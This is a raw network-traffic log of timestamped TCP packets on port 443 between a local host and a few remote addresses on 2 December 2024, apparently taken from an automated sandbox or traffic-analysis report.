Dec 2, 2024 17:56:19.479388952 CET	443	49800	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:19.479440928 CET	49800	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:19.479660988 CET	49800	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:19.479681015 CET	443	49800	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:19.479691982 CET	49800	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:19.479697943 CET	443	49800	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:19.484147072 CET	49804	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:19.484184980 CET	443	49804	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:19.484268904 CET	49804	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:19.484455109 CET	49804	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:19.484467030 CET	443	49804	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:19.488661051 CET	443	49801	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:19.488720894 CET	443	49801	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:19.488769054 CET	49801	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:19.489041090 CET	49801	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:19.489056110 CET	443	49801	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:19.489088058 CET	49801	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:19.489093065 CET	443	49801	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:19.493323088 CET	49805	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:19.493362904 CET	443	49805	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:19.493448973 CET	49805	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:19.493690968 CET	49805	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:19.493705034 CET	443	49805	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:19.501010895 CET	443	49802	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:19.501061916 CET	443	49802	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:19.501108885 CET	49802	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:19.501244068 CET	49802	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:19.501251936 CET	443	49802	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:19.501261950 CET	49802	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:19.501265049 CET	443	49802	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:19.504499912 CET	49806	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:19.504509926 CET	443	49806	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:19.504576921 CET	49806	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:19.504697084 CET	49806	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:19.504707098 CET	443	49806	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:19.521519899 CET	443	49803	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:19.521578074 CET	443	49803	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:19.521719933 CET	49803	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:19.521740913 CET	49803	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:19.521740913 CET	49803	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:19.521747112 CET	443	49803	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:19.521754026 CET	443	49803	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:19.525336027 CET	49807	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:19.525348902 CET	443	49807	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:19.525424004 CET	49807	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:19.525547981 CET	49807	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:19.525558949 CET	443	49807	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:21.280313969 CET	443	49804	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:21.281124115 CET	49804	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:21.281147957 CET	443	49804	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:21.282574892 CET	49804	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:21.282582998 CET	443	49804	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:21.315124989 CET	443	49806	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:21.315774918 CET	49806	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:21.315783024 CET	443	49806	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:21.317040920 CET	49806	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:21.317044973 CET	443	49806	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:21.338514090 CET	443	49805	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:21.338938951 CET	49805	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:21.338964939 CET	443	49805	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:21.340101957 CET	49805	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:21.340107918 CET	443	49805	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:21.383793116 CET	443	49807	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:21.384289026 CET	49807	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:21.384309053 CET	443	49807	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:21.385565996 CET	49807	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:21.385571957 CET	443	49807	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:21.725744009 CET	443	49804	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:21.725811958 CET	443	49804	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:21.725970984 CET	49804	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:21.726560116 CET	49804	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:21.726583004 CET	443	49804	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:21.726615906 CET	49804	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:21.726622105 CET	443	49804	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:21.731368065 CET	49808	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:21.731414080 CET	443	49808	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:21.731486082 CET	49808	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:21.731668949 CET	49808	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:21.731683969 CET	443	49808	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:21.753974915 CET	443	49790	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:21.754524946 CET	49790	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:21.754554987 CET	443	49790	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:21.755827904 CET	49790	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:21.755834103 CET	443	49790	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:21.759655952 CET	443	49806	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:21.759712934 CET	443	49806	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:21.759762049 CET	49806	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:21.760003090 CET	49806	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:21.760008097 CET	443	49806	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:21.760018110 CET	49806	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:21.760020971 CET	443	49806	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:21.762939930 CET	49809	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:21.762979984 CET	443	49809	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:21.763042927 CET	49809	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:21.763169050 CET	49809	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:21.763181925 CET	443	49809	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:21.792072058 CET	443	49805	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:21.792130947 CET	443	49805	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:21.792171001 CET	49805	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:21.792514086 CET	49805	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:21.792536974 CET	443	49805	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:21.792557955 CET	49805	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:21.792566061 CET	443	49805	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:21.796313047 CET	49810	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:21.796339035 CET	443	49810	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:21.796403885 CET	49810	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:21.796737909 CET	49810	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:21.796752930 CET	443	49810	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:21.837219000 CET	443	49807	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:21.837282896 CET	443	49807	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:21.837354898 CET	49807	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:21.837553024 CET	49807	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:21.837567091 CET	443	49807	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:21.837575912 CET	49807	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:21.837579966 CET	443	49807	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:21.841768980 CET	49811	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:21.841782093 CET	443	49811	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:21.841871977 CET	49811	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:21.842077017 CET	49811	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:21.842087984 CET	443	49811	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:22.208015919 CET	443	49790	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:22.208086014 CET	443	49790	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:22.208148956 CET	49790	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:22.208415031 CET	49790	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:22.208431005 CET	443	49790	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:22.208441973 CET	49790	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:22.208446980 CET	443	49790	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:22.211344957 CET	49812	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:22.211381912 CET	443	49812	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:22.211469889 CET	49812	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:22.211667061 CET	49812	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:22.211683035 CET	443	49812	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:23.446938992 CET	443	49808	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:23.447828054 CET	49808	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:23.447853088 CET	443	49808	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:23.448249102 CET	49808	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:23.448255062 CET	443	49808	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:23.497899055 CET	443	49809	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:23.498671055 CET	49809	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:23.498701096 CET	443	49809	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:23.499023914 CET	49809	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:23.499028921 CET	443	49809	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:23.525558949 CET	443	49810	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:23.525875092 CET	49810	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:23.525892019 CET	443	49810	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:23.526202917 CET	49810	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:23.526207924 CET	443	49810	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:23.627677917 CET	443	49811	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:23.628086090 CET	49811	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:23.628106117 CET	443	49811	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:23.628460884 CET	49811	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:23.628467083 CET	443	49811	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:23.887090921 CET	443	49808	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:23.887161016 CET	443	49808	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:23.887216091 CET	49808	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:23.887403011 CET	49808	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:23.887417078 CET	443	49808	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:23.887427092 CET	49808	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:23.887432098 CET	443	49808	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:23.890233040 CET	49813	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:23.890263081 CET	443	49813	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:23.890343904 CET	49813	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:23.890497923 CET	49813	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:23.890508890 CET	443	49813	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:23.934834957 CET	443	49809	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:23.934895992 CET	443	49809	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:23.934950113 CET	49809	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:23.935065031 CET	49809	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:23.935075045 CET	443	49809	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:23.935090065 CET	49809	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:23.935094118 CET	443	49809	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:23.936948061 CET	49814	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:23.936984062 CET	443	49814	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:23.937051058 CET	49814	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:23.937154055 CET	49814	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:23.937166929 CET	443	49814	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:23.962363958 CET	443	49810	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:23.962425947 CET	443	49810	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:23.962477922 CET	49810	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:23.962584972 CET	49810	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:23.962589979 CET	443	49810	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:23.962605953 CET	49810	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:23.962610006 CET	443	49810	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:23.964663029 CET	49815	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:23.964673996 CET	443	49815	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:23.964744091 CET	49815	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:23.964874029 CET	49815	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:23.964884043 CET	443	49815	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:23.996315002 CET	443	49812	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:23.996646881 CET	49812	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:23.996656895 CET	443	49812	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:23.997684002 CET	49812	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:23.997688055 CET	443	49812	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:24.105767012 CET	443	49811	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:24.105818987 CET	443	49811	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:24.105864048 CET	49811	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:24.105981112 CET	49811	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:24.105987072 CET	443	49811	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:24.105994940 CET	49811	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:24.105998039 CET	443	49811	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:24.107793093 CET	49816	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:24.107822895 CET	443	49816	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:24.107892036 CET	49816	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:24.108021975 CET	49816	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:24.108037949 CET	443	49816	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:24.446504116 CET	443	49812	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:24.446576118 CET	443	49812	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:24.446623087 CET	49812	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:24.446808100 CET	49812	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:24.446825027 CET	443	49812	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:24.446844101 CET	49812	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:24.446849108 CET	443	49812	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:24.449568033 CET	49817	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:24.449608088 CET	443	49817	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:24.449692965 CET	49817	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:24.449846983 CET	49817	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:24.449858904 CET	443	49817	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:24.923670053 CET	443	49795	142.250.181.100	192.168.2.4
Dec 2, 2024 17:56:24.923738003 CET	443	49795	142.250.181.100	192.168.2.4
Dec 2, 2024 17:56:24.923784971 CET	49795	443	192.168.2.4	142.250.181.100
Dec 2, 2024 17:56:25.617130041 CET	49795	443	192.168.2.4	142.250.181.100
Dec 2, 2024 17:56:25.617166042 CET	443	49795	142.250.181.100	192.168.2.4
Dec 2, 2024 17:56:25.721293926 CET	443	49814	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:25.722332954 CET	49814	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:25.722362995 CET	443	49814	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:25.723665953 CET	49814	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:25.723673105 CET	443	49814	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:25.745923042 CET	443	49815	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:25.746279001 CET	49815	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:25.746298075 CET	443	49815	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:25.746589899 CET	49815	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:25.746593952 CET	443	49815	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:25.746728897 CET	443	49813	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:25.746954918 CET	49813	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:25.746968985 CET	443	49813	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:25.747241974 CET	49813	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:25.747246027 CET	443	49813	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:25.959678888 CET	443	49816	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:25.960186005 CET	49816	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:25.960228920 CET	443	49816	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:25.960629940 CET	49816	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:25.960635900 CET	443	49816	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:26.165533066 CET	443	49814	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:26.165611982 CET	443	49814	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:26.165704966 CET	49814	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:26.166029930 CET	443	49817	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:26.166193962 CET	49814	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:26.166213036 CET	443	49814	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:26.166229963 CET	49814	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:26.166234970 CET	443	49814	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:26.166944981 CET	49817	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:26.166976929 CET	443	49817	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:26.168497086 CET	49817	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:26.168503046 CET	443	49817	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:26.172755957 CET	49818	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:26.172791004 CET	443	49818	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:26.172914028 CET	49818	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:26.173326015 CET	49818	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:26.173337936 CET	443	49818	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:26.195163965 CET	443	49815	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:26.195218086 CET	443	49815	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:26.195295095 CET	49815	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:26.195661068 CET	49815	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:26.195676088 CET	443	49815	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:26.201081991 CET	49819	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:26.201109886 CET	443	49819	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:26.201245070 CET	49819	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:26.201584101 CET	49819	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:26.201598883 CET	443	49819	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:26.203963041 CET	443	49813	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:26.204015017 CET	443	49813	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:26.204102039 CET	49813	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:26.204452991 CET	49813	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:26.204457998 CET	443	49813	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:26.204504013 CET	49813	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:26.204509020 CET	443	49813	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:26.210243940 CET	49820	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:26.210273027 CET	443	49820	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:26.210402966 CET	49820	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:26.210830927 CET	49820	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:26.210841894 CET	443	49820	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:26.414556980 CET	443	49816	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:26.414633989 CET	443	49816	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:26.414696932 CET	49816	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:26.414869070 CET	49816	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:26.414889097 CET	443	49816	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:26.414899111 CET	49816	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:26.414904118 CET	443	49816	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:26.419393063 CET	49821	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:26.419425964 CET	443	49821	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:26.419523954 CET	49821	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:26.419699907 CET	49821	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:26.419708967 CET	443	49821	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:26.601463079 CET	443	49817	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:26.601522923 CET	443	49817	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:26.601577997 CET	49817	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:26.601735115 CET	49817	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:26.601748943 CET	443	49817	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:26.601758957 CET	49817	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:26.601763010 CET	443	49817	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:26.603995085 CET	49822	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:26.604027033 CET	443	49822	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:26.604091883 CET	49822	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:26.604217052 CET	49822	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:26.604228973 CET	443	49822	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:27.756598949 CET	443	49818	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:27.760036945 CET	49818	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:27.760054111 CET	443	49818	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:27.760482073 CET	49818	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:27.760487080 CET	443	49818	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:27.990271091 CET	443	49819	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:27.990675926 CET	49819	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:27.990699053 CET	443	49819	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:27.991108894 CET	49819	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:27.991120100 CET	443	49819	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:28.027920961 CET	443	49820	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:28.028487921 CET	49820	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:28.028502941 CET	443	49820	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:28.028917074 CET	49820	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:28.028922081 CET	443	49820	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:28.200685978 CET	443	49818	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:28.200748920 CET	443	49818	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:28.200810909 CET	49818	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:28.200985909 CET	49818	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:28.201003075 CET	443	49818	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:28.201013088 CET	49818	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:28.201020002 CET	443	49818	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:28.203788042 CET	49823	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:28.203821898 CET	443	49823	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:28.203905106 CET	49823	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:28.204071999 CET	49823	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:28.204087019 CET	443	49823	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:28.207410097 CET	443	49821	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:28.207726002 CET	49821	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:28.207740068 CET	443	49821	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:28.208168983 CET	49821	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:28.208174944 CET	443	49821	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:28.320687056 CET	443	49822	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:28.321109056 CET	49822	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:28.321120024 CET	443	49822	13.107.246.63	192.168.2.4
